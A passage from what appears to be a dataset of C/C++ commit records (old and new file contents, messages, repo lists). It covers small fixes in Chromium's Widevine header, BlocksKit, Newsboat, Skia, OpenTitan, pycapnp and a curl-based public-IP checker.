WIDEVINE_CDM_CENC_SUPPORT_AVAILABLE\n\/\/ Indicates that AVC1 decoding is available for ISO BMFF CENC.\n#define WIDEVINE_CDM_AVC1_SUPPORT_AVAILABLE\n\/\/ Indicates that AAC decoding is available for ISO BMFF CENC.\n#define WIDEVINE_CDM_AAC_SUPPORT_AVAILABLE\n\n#endif  \/\/ WIDEVINE_CDM_VERSION_H_\n","new_contents":"\/\/ Copyright (c) 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WIDEVINE_CDM_VERSION_H_\n#define WIDEVINE_CDM_VERSION_H_\n\n#include \"third_party\/widevine\/cdm\/widevine_cdm_common.h\"\n\n\/\/ Indicates that the Widevine CDM is available.\n#define WIDEVINE_CDM_AVAILABLE\n\n\/\/ Indicates that AVC1 decoding is available for ISO BMFF CENC.\n#define WIDEVINE_CDM_AVC1_SUPPORT_AVAILABLE\n\/\/ Indicates that AAC decoding is available for ISO BMFF CENC.\n#define WIDEVINE_CDM_AAC_SUPPORT_AVAILABLE\n\n#endif  \/\/ WIDEVINE_CDM_VERSION_H_\n","subject":"Remove DISABLE_WIDEVINE_CDM_CANPLAYTYPE as we should start using canPlayType now","message":"Remove DISABLE_WIDEVINE_CDM_CANPLAYTYPE as we should start using canPlayType now\n\nPassed the canplaytype check when tested with http:\/\/dash-mse-test.appspot.com\/append-all.html?sd=1&keysystem=widevine\n\nBUG=224793\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/24072009\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@224312 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"anirudhSK\/chromium,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,mogoweb\/chromium-crosswalk,ltilve\/chromium,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Fireblend\/chromium-crosswalk,dednal\/chromium.src,M4sse\/chromium.src,dednal\/chromium.src,axinging\/chromium-crosswalk,ltilve\/chromium,dushu1203\/chromium.src,markYoungH\/chromium.src,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,Jonekee\/chromium.src,PeterWangIntel\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,Jonekee\/chromium.src,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,patrickm\/chromium.src,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,Chilledheart\/chromium,ondra-novak\/chromium.src,fujunwei\/chromium-crosswalk,Fireblend\/chromium-crosswalk,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,M4sse\/chromium.src,littlstar\/chromium.src,patrickm\/chromium.src,ltilve\/chromium,anirudhSK\/chromium,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,ltilve\/chromium,jaruba\/chromium.src,markYoungH\/chromium.src,anirudhSK\/chromium,dednal\/chromium.src,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,dednal\/chromium.src,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,jaruba\/chromium.src,Jonekee\/chromium.src,ondra-novak\/chromium.src,mogoweb\/chromium-crosswalk,Fireblend\/chromium-crosswalk,chuan9\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,axinging\/chromium-crosswalk,dednal\/chromium.src,mogoweb\/chromium-crosswalk,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,Jonekee\/chromium.src,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,littlstar\/chromium.src,dednal\/chromium.src,chuan9\/chromium-crosswalk,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,patrickm\/chromium.src,M4sse\/chromium.src,dushu1203\/chromium.src,ChromiumWebApps\/chromium,M4sse\/chromium.src,Just-D\/chromium-1,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,ondra-novak\/chromium.src,mogoweb\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,bright-sparks\/chromium-spacewalk,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,dushu1203\/chromium.src,dushu1203\/chromium.src,ltilve\/chromium,jaruba\/chromium.src,ChromiumWebApps\/chromium,Just-D\/chromium-1,patrickm\/chromium.src,Just-D\/chromium-1,patrickm\/chromium.src,patrickm\/chromium.src,chuan9\/chromium-crosswalk,ondra-novak\/chromium.src,dednal\/chromium.src,ltilve\/chromium,ondra-novak\/chromium.src,ltilve\/chromium,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,mogoweb\/chromium-crosswalk,littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,littlstar\/chromium.src,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,bright-sparks\/chromium-spacewalk,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,Chilledheart\/chromium,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,markYoungH\/chromium.src,Chilledheart\/chromium,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,Chilledheart\/chromium,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,markYoungH\/chromium.src,markYoungH\/chromium.src,ChromiumWebApps\/chromium,M4sse\/chromium.src,axinging\/chromium-crosswalk,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,jaruba\/chromium.src,M4sse\/chromium.src,Chilledheart\/chromium,bright-sparks\/chromium-spacewalk,Jonekee\/chromium.src,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,Just-D\/chromium-1,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,markYoungH\/chromium.src,littlstar\/chromium.src,dushu1203\/chromium.src,anirudhSK\/chromium,anirudhSK\/chromium,Chilledheart\/chromium,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,dednal\/chromium.src,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk"}
{"commit":"8112c82609b3307c193ffefae01690ecd6e99968","old_file":"BlocksKit\/NSCache+BlocksKit.h","new_file":"BlocksKit\/NSCache+BlocksKit.h","old_contents":"\/\/\n\/\/  NSCache+BlocksKit.h\n\/\/  %PROJECT\n\/\/\n\n#import \"BKGlobals.h\"\n\n\/** NSCache with block adding of objects\n \n This category allows you to conditionally add objects to\n an instance of NSCache using blocks.  Both the normal\n delegation pattern and a block callback for NSCache's one\n delegate method are allowed.\n \n These methods emulate Rails caching behavior.\n\n Created by Igor Evsukov and contributed to BlocksKit.\n *\/\n\n@interface NSCache (BlocksKit)\n\n\/** Returns the value associated with a given key. If there is no\n object for that key, it uses the result of the block, saves\n that to the cache, and returns it.\n \n This mimics the cache behavior of Ruby on Rails.  The following code:\n \n     @products = Rails.cache.fetch('products') do\n       Product.all\n     end\n \n becomes:\n \n     NSMutableArray *products = [cache objectForKey:@\"products\" withGetter:^id{\n       return [Product all];\n     }];\n \n @return The value associated with *key*, or the object returned\n by the block if no value is associated with *key*.\n @param key An object identifying the value.\n @param getterBlock A block used to get an object if there is no\n value in the cache.\n *\/\n- (id)objectForKey:(id)key withGetter:(BKReturnBlock)getterBlock;\n\n\/** Called when an object is about to be evicted from the cache.\n\n This block callback is an analog for the cache:willEviceObject:\n method of NSCacheDelegate.\n *\/\n@property (copy) BKSenderBlock willEvictBlock;\n\n@end\n","new_contents":"\/\/\n\/\/  NSCache+BlocksKit.h\n\/\/  %PROJECT\n\/\/\n\n#import \"BKGlobals.h\"\n\n\/** NSCache with block adding of objects\n \n This category allows you to conditionally add objects to\n an instance of NSCache using blocks.  Both the normal\n delegation pattern and a block callback for NSCache's one\n delegate method are allowed.\n \n These methods emulate Rails caching behavior.\n\n Created by Igor Evsukov and contributed to BlocksKit.\n *\/\n\n@interface NSCache (BlocksKit)\n\n\/** Returns the value associated with a given key. If there is no\n object for that key, it uses the result of the block, saves\n that to the cache, and returns it.\n \n This mimics the cache behavior of Ruby on Rails.  The following code:\n \n     @products = Rails.cache.fetch('products') do\n       Product.all\n     end\n \n becomes:\n \n     NSMutableArray *products = [cache objectForKey:@\"products\" withGetter:^id{\n       return [Product all];\n     }];\n \n @return The value associated with *key*, or the object returned\n by the block if no value is associated with *key*.\n @param key An object identifying the value.\n @param getterBlock A block used to get an object if there is no\n value in the cache.\n *\/\n- (id)objectForKey:(id)key withGetter:(BKReturnBlock)getterBlock;\n\n\/** Called when an object is about to be evicted from the cache.\n\n This block callback is an analog for the cache:willEviceObject:\n method of NSCacheDelegate.\n *\/\n@property (copy) void(^willEvictBlock)(NSCache *, id);\n\n@end\n","subject":"Fix block property type in NSCache.","message":"Fix block property type in NSCache.\n","lang":"C","license":"mit","repos":"AlexanderMazaletskiy\/BlocksKit,zxq3220122\/BlocksKit-1,HarrisLee\/BlocksKit,zwaldowski\/BlocksKit,yimouleng\/BlocksKit,z8927623\/BlocksKit,Herbert77\/BlocksKit,tattocau\/BlocksKit,pilot34\/BlocksKit,hq804116393\/BlocksKit,stevenxiaoyang\/BlocksKit,Gitub\/BlocksKit,dachaoisme\/BlocksKit,demonnico\/BlocksKit,pomu0325\/BlocksKit,anton-matosov\/BlocksKit,ManagerOrganization\/BlocksKit,yaoxiaoyong\/BlocksKit,shenhzou654321\/BlocksKit,owers19856\/BlocksKit,hartbit\/BlocksKit,Voxer\/BlocksKit,xinlehou\/BlocksKit,aipeople\/BlocksKit,zhaoguohui\/BlocksKit,TomBin647\/BlocksKit,coneman\/BlocksKit"}
{"commit":"18fdd4612a7cb7449048e234af3ce24644ca9f46","old_file":"include\/queuemanager.h","new_file":"include\/queuemanager.h","old_contents":"#ifndef NEWSBOAT_QUEUEMANAGER_H_\n#define NEWSBOAT_QUEUEMANAGER_H_\n\n#include <memory>\n#include <string>\n\nnamespace newsboat {\n\nclass ConfigContainer;\nclass ConfigPaths;\nclass RssFeed;\n\nclass QueueManager {\n\tConfigContainer* cfg = nullptr;\n\tConfigPaths* paths = nullptr;\n\npublic:\n\tQueueManager(ConfigContainer* cfg, ConfigPaths* paths);\n\n\tvoid enqueue_url(const std::string& url,\n\t\tconst std::string& title,\n\t\tconst time_t pubDate,\n\t\tstd::shared_ptr<RssFeed> feed);\n\n\tvoid autoenqueue(std::shared_ptr<RssFeed> feed);\n\nprivate:\n\tstd::string generate_enqueue_filename(const std::string& url,\n\t\tconst std::string& title,\n\t\tconst time_t pubDate,\n\t\tstd::shared_ptr<RssFeed> feed);\n};\n\n}\n\n#endif \/* NEWSBOAT_QUEUEMANAGER_H_ *\/\n\n","new_contents":"#ifndef NEWSBOAT_QUEUEMANAGER_H_\n#define NEWSBOAT_QUEUEMANAGER_H_\n\n#include <ctime>\n#include <memory>\n#include <string>\n\nnamespace newsboat {\n\nclass ConfigContainer;\nclass ConfigPaths;\nclass RssFeed;\n\nclass QueueManager {\n\tConfigContainer* cfg = nullptr;\n\tConfigPaths* paths = nullptr;\n\npublic:\n\tQueueManager(ConfigContainer* cfg, ConfigPaths* paths);\n\n\tvoid enqueue_url(const std::string& url,\n\t\tconst std::string& title,\n\t\tconst time_t pubDate,\n\t\tstd::shared_ptr<RssFeed> feed);\n\n\tvoid autoenqueue(std::shared_ptr<RssFeed> feed);\n\nprivate:\n\tstd::string generate_enqueue_filename(const std::string& url,\n\t\tconst std::string& title,\n\t\tconst time_t pubDate,\n\t\tstd::shared_ptr<RssFeed> feed);\n};\n\n}\n\n#endif \/* NEWSBOAT_QUEUEMANAGER_H_ *\/\n\n","subject":"Add missing header and fix build on FreeBSD","message":"Add missing header and fix build on FreeBSD\n\nIn file included from src\/queuemanager.cpp:1:\ninclude\/queuemanager.h:22:9: error: unknown type name 'time_t'\n                const time_t pubDate,\n                      ^\n\nSigned-off-by: Tobias Kortkamp <95411b5f3468a822bfbad7edd660475780680510@FreeBSD.org>\n","lang":"C","license":"mit","repos":"der-lyse\/newsboat,der-lyse\/newsboat,newsboat\/newsboat,newsboat\/newsboat,newsboat\/newsboat,newsboat\/newsboat,newsboat\/newsboat,newsboat\/newsboat,newsboat\/newsboat,newsboat\/newsboat,der-lyse\/newsboat,der-lyse\/newsboat,der-lyse\/newsboat,der-lyse\/newsboat,der-lyse\/newsboat,der-lyse\/newsboat"}
{"commit":"89272baf68bdd670cf21dc8bf052a53c3062d78b","old_file":"readpin.c","new_file":"readpin.c","old_contents":"","new_contents":"#include <fcntl.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\n#include \"input.h\"\n\nint\nmain(int argc, char **argv)\n{\n\tunsigned long high, low, err;\n\tstruct gpio_req req;\n\tint fd;\n\tint old;\n\tint res;\n\tstruct hardware hw;\n\n\tres = read_hardware_parameters(\"hardware.txt\", &hw);\n\tif (res)\n\t\treturn res;\n\n\tfd = init_hardware(hw.pin);\n\tif (fd < 0)\n\t\treturn fd; \/* errno *\/\n\n\thigh = low = err = 0;\n\told = 0;\n\tfor (;;) {\n\t\treq.gp_pin = hw.pin;\n\t\tif (ioctl(fd, GPIOGET, &req) < 0) {\n\t\t\tperror(\"ioctl(GPIOGET)\"); \/* whoops *\/\n\t\t\texit(1);\n\t\t}\n\t\tif ((req.gp_value != old && old == 0) ||\n\t\t    (high + low > hw.freq)) {\n\t\t\tprintf(\"%lu %lu %lu\\n\", err, high, low);\n\t\t\thigh = low = 0;\n\t\t}\n\t\tif (req.gp_value == GPIO_PIN_HIGH)\n\t\t\thigh++;\n\t\telse if (req.gp_value == GPIO_PIN_LOW)\n\t\t\tlow++;\n\t\telse\n\t\t\terr++; \/* Houston? *\/\n\t\told = req.gp_value;\n\t\t(void)usleep(1000000.0 \/ hw.freq); \/* us *\/\n\t}\n\tif (close(fd))\n\t\tperror(\"close\");\n\treturn 0;\n}\n","subject":"Add a simple test program to read the GPIO signal.","message":"Add a simple test program to read the GPIO signal.\n\nThe program reads the sampling frequency and GPIO pin number from\nhardware.txt. It displays a new line and resets the LOW and HIGH counters\nwhen a LOW->HIGH (new second) slope occurs.\n\nReturns either all LOW or garbage on my hardware...\n","lang":"C","license":"bsd-2-clause","repos":"rene0\/dcf77pi,rene0\/dcf77pi"}
{"commit":"4f897d18736c57e3a404252bd61258d6290d184a","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 72\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 73\n#endif\n","subject":"Update Skia milestone to 73","message":"Update Skia milestone to 73\n\nBug: skia:\nChange-Id: I4b8744f1f9d752a54429054d7539c46e24fcba82\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/173428\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,google\/skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,HalCanary\/skia-hc,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,google\/skia,HalCanary\/skia-hc,google\/skia,google\/skia,google\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,rubenvb\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc"}
{"commit":"de4201ea6e5d1f02ca09a11892ac24b32607d9a6","old_file":"sw\/tests\/rv_timer\/rv_timer_test.c","new_file":"sw\/tests\/rv_timer\/rv_timer_test.c","old_contents":"\/\/ Copyright lowRISC contributors.\n\/\/ Licensed under the Apache License, Version 2.0, see LICENSE for details.\n\/\/ SPDX-License-Identifier: Apache-2.0\n\n#include <stdlib.h>\n#include <string.h>\n\n#include \"common.h\"\n#include \"irq.h\"\n#include \"rv_timer.h\"\n#include \"uart.h\"\n\nstatic uint32_t intr_handling_success = 0;\nstatic const uint32_t hart = 0;\n\nint main(int argc, char **argv) {\n  uint64_t cmp = 0x00000000000000FF;\n\n  uart_init(UART_BAUD_RATE);\n\n  irq_global_ctrl(true);\n  irq_timer_ctrl(true);\n  rv_timer_set_us_tick(hart);\n  rv_timer_set_cmp(hart, cmp);\n  rv_timer_ctrl(hart, true);\n  rv_timer_intr_enable(hart, true);\n\n  while (1) {\n    if (intr_handling_success) {\n      break;\n    }\n  }\n\n  uart_send_str(\"PASS!\\r\\n\");\n  __asm__ volatile(\"wfi;\");\n}\n\n\/\/ Override weak default function\nvoid handler_irq_timer(void) {\n  rv_timer_ctrl(hart, false);\n  rv_timer_clr_all_intrs();\n  intr_handling_success = 1;\n}\n","new_contents":"\/\/ Copyright lowRISC contributors.\n\/\/ Licensed under the Apache License, Version 2.0, see LICENSE for details.\n\/\/ SPDX-License-Identifier: Apache-2.0\n\n#include <stdlib.h>\n#include <string.h>\n\n#include \"common.h\"\n#include \"irq.h\"\n#include \"rv_timer.h\"\n#include \"uart.h\"\n\nstatic uint32_t intr_handling_success = 0;\nstatic const uint32_t hart = 0;\n\nint main(int argc, char **argv) {\n  const uint64_t cmp = 0x000000000000000F;\n\n  uart_init(UART_BAUD_RATE);\n\n  irq_global_ctrl(true);\n  irq_timer_ctrl(true);\n  rv_timer_set_us_tick(hart);\n  rv_timer_set_cmp(hart, cmp);\n  rv_timer_ctrl(hart, true);\n  rv_timer_intr_enable(hart, true);\n\n  while (1) {\n    if (intr_handling_success) {\n      break;\n    }\n  }\n\n  uart_send_str(\"PASS!\\r\\n\");\n  __asm__ volatile(\"wfi;\");\n}\n\n\/\/ Override weak default function\nvoid handler_irq_timer(void) {\n  uart_send_str(\"In Interrupt handler!\\r\\n\");\n  rv_timer_ctrl(hart, false);\n  rv_timer_clr_all_intrs();\n  intr_handling_success = 1;\n}\n","subject":"Decrease compare value for faster testing","message":"[test] Decrease compare value for faster testing\n","lang":"C","license":"apache-2.0","repos":"lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan"}
{"commit":"f7df91a61b63f1b306f73a5166bec47b04add65b","old_file":"src\/lib_atlas\/macros.h","new_file":"src\/lib_atlas\/macros.h","old_contents":"\/**\n * \\file\tmacros.h\n * \\author\tThibaut Mattio <thibaut.mattio@gmail.com>\n * \\date\t28\/06\/2015\n * \\copyright Copyright (c) 2015 Thibaut Mattio. All rights reserved.\n * Use of this source code is governed by the MIT license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef ATLAS_MACROS_H_\n#define ATLAS_MACROS_H_\n\n#if (__cplusplus >= 201103L)\n#define ATLAS_NOEXCEPT noexcept\n#define ATLAS_NOEXCEPT_(x) noexcept(x)\n#define ATLAS_NOEXCEPT_OR_FALSE(x) noexcept(x)\n#else\n#define ATLAS_NOEXCEPT throw()\n#define ATLAS_NOEXCEPT_(x)\n#define ATLAS_NOEXCEPT_OR_FALSE(x) false\n#endif\n\n#ifndef ATLAS_ALWAYS_INLINE\n#define ATLAS_ALWAYS_INLINE \\\n  __attribute__((__visibility__(\"default\"), __always_inline__)) inline\n#endif\n\n#endif  \/\/ ATLAS_MACROS_H_\n","new_contents":"\/**\n * \\file\tmacros.h\n * \\author\tThibaut Mattio <thibaut.mattio@gmail.com>\n * \\date\t28\/06\/2015\n * \\copyright Copyright (c) 2015 Thibaut Mattio. All rights reserved.\n * Use of this source code is governed by the MIT license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef ATLAS_MACROS_H_\n#define ATLAS_MACROS_H_\n\n\/\/ Defining exception macros\n#if (__cplusplus >= 201103L)\n#define ATLAS_NOEXCEPT noexcept\n#define ATLAS_NOEXCEPT_(x) noexcept(x)\n#define ATLAS_NOEXCEPT_OR_FALSE(x) noexcept(x)\n#else\n#define ATLAS_NOEXCEPT throw()\n#define ATLAS_NOEXCEPT_(x)\n#define ATLAS_NOEXCEPT_OR_FALSE(x) false\n#endif\n\n\n\/\/ Defining inline macros\n#ifndef ATLAS_ALWAYS_INLINE\n#define ATLAS_ALWAYS_INLINE \\\n  __attribute__((__visibility__(\"default\"), __always_inline__)) inline\n#endif\n\n\/\/ Defining OS variables\n#if defined(_WIN32)\n#\tdefine OS_WINDOWS 1\n#elif defined(__APPLE__)\n#  define OS_DARWIN 1\n#elif defined(__linux__)\n#  define OS_LINUX 1\n#endif\n\n#endif  \/\/ ATLAS_MACROS_H_\n","subject":"Make ins provider compile on darwin os.","message":"Make ins provider compile on darwin os.\n","lang":"C","license":"mit","repos":"sonia-auv\/atlas,sonia-auv\/atlas"}
{"commit":"c77b5fa13212089262ca9c25d65551264a32cd1e","old_file":"capnp\/helpers\/checkCompiler.h","new_file":"capnp\/helpers\/checkCompiler.h","old_contents":"#ifdef __GNUC__\n  #if __clang__\n    #if __cplusplus >= 201103L && !__has_include(<initializer_list>)\n      #warning \"Your compiler supports C++11 but your C++ standard library does not.  If your system has libc++ installed (as should be the case on e.g. Mac OSX), try adding -stdlib=libc++ to your CFLAGS (ignore the other warning that says to use CXXFLAGS).\"\n    #endif\n  #endif\n#endif\n\n#include \"capnp\/dynamic.h\"\n\nstatic_assert(CAPNP_VERSION >= 5000, \"Version of Cap'n Proto C++ Library is too old. Please upgrade to a version >= 0.4 and then re-install this python library\");\n","new_contents":"#ifdef __GNUC__\n  #if __clang__\n    #if __cplusplus >= 201103L && !__has_include(<initializer_list>)\n      #warning \"Your compiler supports C++11 but your C++ standard library does not.  If your system has libc++ installed (as should be the case on e.g. Mac OSX), try adding -stdlib=libc++ to your CFLAGS (ignore the other warning that says to use CXXFLAGS).\"\n    #endif\n  #endif\n#endif\n\n#include \"capnp\/dynamic.h\"\n\nstatic_assert(CAPNP_VERSION >= 5000, \"Version of Cap'n Proto C++ Library is too old. Please upgrade to a version >= 0.5 and then re-install this python library\");\n","subject":"Fix error message in version check","message":"Fix error message in version check\n","lang":"C","license":"bsd-2-clause","repos":"rcrowder\/pycapnp,tempbottle\/pycapnp,tempbottle\/pycapnp,SymbiFlow\/pycapnp,jparyani\/pycapnp,rcrowder\/pycapnp,tempbottle\/pycapnp,jparyani\/pycapnp,SymbiFlow\/pycapnp,rcrowder\/pycapnp,rcrowder\/pycapnp,SymbiFlow\/pycapnp,SymbiFlow\/pycapnp,jparyani\/pycapnp,tempbottle\/pycapnp,jparyani\/pycapnp"}
{"commit":"cade60aa064e9f6ca308806b6071ffae8dbab954","old_file":"bin\/lsip.c","new_file":"bin\/lsip.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <curl\/curl.h>\n\nint main (int argc, char ** argv)\n{   CURL * handle;\n    CURLcode res;\n\n    curl_global_init(CURL_GLOBAL_ALL);\n    handle = curl_easy_init();\n\n    if ( handle )\n    {   curl_easy_setopt(handle, CURLOPT_URL, \"http:\/\/icanhazip.com\");\n        curl_easy_setopt(handle, CURLOPT_FOLLOWLOCATION, 1);\n\n        res = curl_easy_perform(handle);\n        if ( ! res == CURLE_OK )\n        {   curl_easy_cleanup(handle);\n            curl_global_cleanup();\n            fputs(\"Could not check IP address\\n\", stderr);\n            exit(1);\n        }\n    }\n    \n    curl_easy_cleanup(handle);\n    curl_global_cleanup();\n\n    return 0;\n}\n\/\/ vim: set tabstop=4 shiftwidth=4 expandtab\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <curl\/curl.h>\n\nint main ()\n{   CURL * handle;\n    CURLcode res;\n\n    curl_global_init(CURL_GLOBAL_ALL);\n    handle = curl_easy_init();\n\n    if ( handle )\n    {   curl_easy_setopt(handle, CURLOPT_URL, \"http:\/\/icanhazip.com\");\n        curl_easy_setopt(handle, CURLOPT_FOLLOWLOCATION, 1);\n\n        res = curl_easy_perform(handle);\n        if ( ! res == CURLE_OK )\n        {   curl_easy_cleanup(handle);\n            curl_global_cleanup();\n            fputs(\"Could not check IP address\\n\", stderr);\n            exit(1);\n        }\n    }\n    \n    curl_easy_cleanup(handle);\n    curl_global_cleanup();\n\n    return 0;\n}\n\/\/ vim: set tabstop=4 shiftwidth=4 expandtab\n","subject":"Remove arg{c,v} params for main() since they are unneeded","message":"Remove arg{c,v} params for main() since they are unneeded\n","lang":"C","license":"unlicense","repos":"HalosGhost\/.dotfiles,HalosGhost\/.dotfiles"}
